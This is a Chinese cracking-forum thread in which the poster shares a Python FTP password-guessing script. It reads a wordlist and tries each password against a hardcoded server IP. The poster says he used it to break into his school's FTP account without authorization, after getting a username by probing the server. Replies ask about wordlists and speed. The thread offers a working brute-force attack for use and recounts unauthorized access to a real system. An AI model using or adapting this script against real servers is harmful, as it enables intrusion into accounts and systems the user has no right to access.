吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3640|回复: 15
收起左侧

[Python 转载] 通过Python编写的FTP密码字典破解工具

[复制链接]
fzy1139950253 发表于 2021-4-2 22:34
事件起因:我想要登录学校FTP账户,但是不知道密码,通过诱导使服务器暴露出了一个账户名,于是通过下面的py代码,破解了学校FTP密码成功登录。py代码如下:


import ftplib

def ftpLogin(host, Name, PassFile):

    #读取密码文件
    PF=open(PassFile,'r')#要在文件所在目录加载字典文件pass.txt,只能尝试破解一些简单密码,复杂密码或者未知用户名的FTP密码破解欢迎大神指点
    for line in PF.readlines():
        name = Name
        passwd = str(line).strip()
        print("Trying: "+name+"/"+passwd)
        try:
            ftp = ftplib.FTP(host)
            ftp.login(name,passwd)#这里就是整个程序中最重要的部分,对登录进行尝试。
            print("登录成功",name, passwd)
            ftp.quit()
            return (name, passwd)
        except Exception as e:
            pass
    print("没有找到正确的密码")
    return None

hostName = '222.185.253.35'#这一行写上你所需要破解的服务器IP地址
passwordFile = 'pass.txt'

if __name__ == '__main__':
    ftpLogin(hostName,"Anonymous", passwordFile)#这一行里面,Anonymous是你所已知的FTP用户名,用户名可以通过诱导获得

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

wjspriest 发表于 2022-2-8 22:16
“用户名可以通过诱导获得”——诱导怎么做的?
 楼主| fzy1139950253 发表于 2021-4-3 07:30
C哥888 发表于 2021-4-3 00:45
字典文件pass.txt——关键的地方没有说到     学校一般FTP账户都开放可以登陆查看分享的内容的

我们学校没有开放啊啊啊
xianjing0630 发表于 2021-4-3 00:05
Eaglecad 发表于 2021-4-3 00:05
这么优秀吗,学习下
159753qwe 发表于 2021-4-3 00:07
密码字典是什么鬼
a3322a 发表于 2021-4-3 00:25
大字典破解速度如何?
L_Pandas 发表于 2021-4-3 00:30
围观学习,优秀的楼主
C哥888 发表于 2021-4-3 00:45
本帖最后由 C哥888 于 2021-4-3 00:47 编辑

字典文件pass.txt——关键的地方没有说到     学校一般FTP账户都开放可以登陆查看分享的内容的
 楼主| fzy1139950253 发表于 2021-4-3 07:29
a3322a 发表于 2021-4-3 00:25
大字典破解速度如何?

额,单线程处理,感兴趣写个多线程出来,整个速度挺慢的
君月栩 发表于 2021-4-3 08:54
感谢楼主分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 10:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表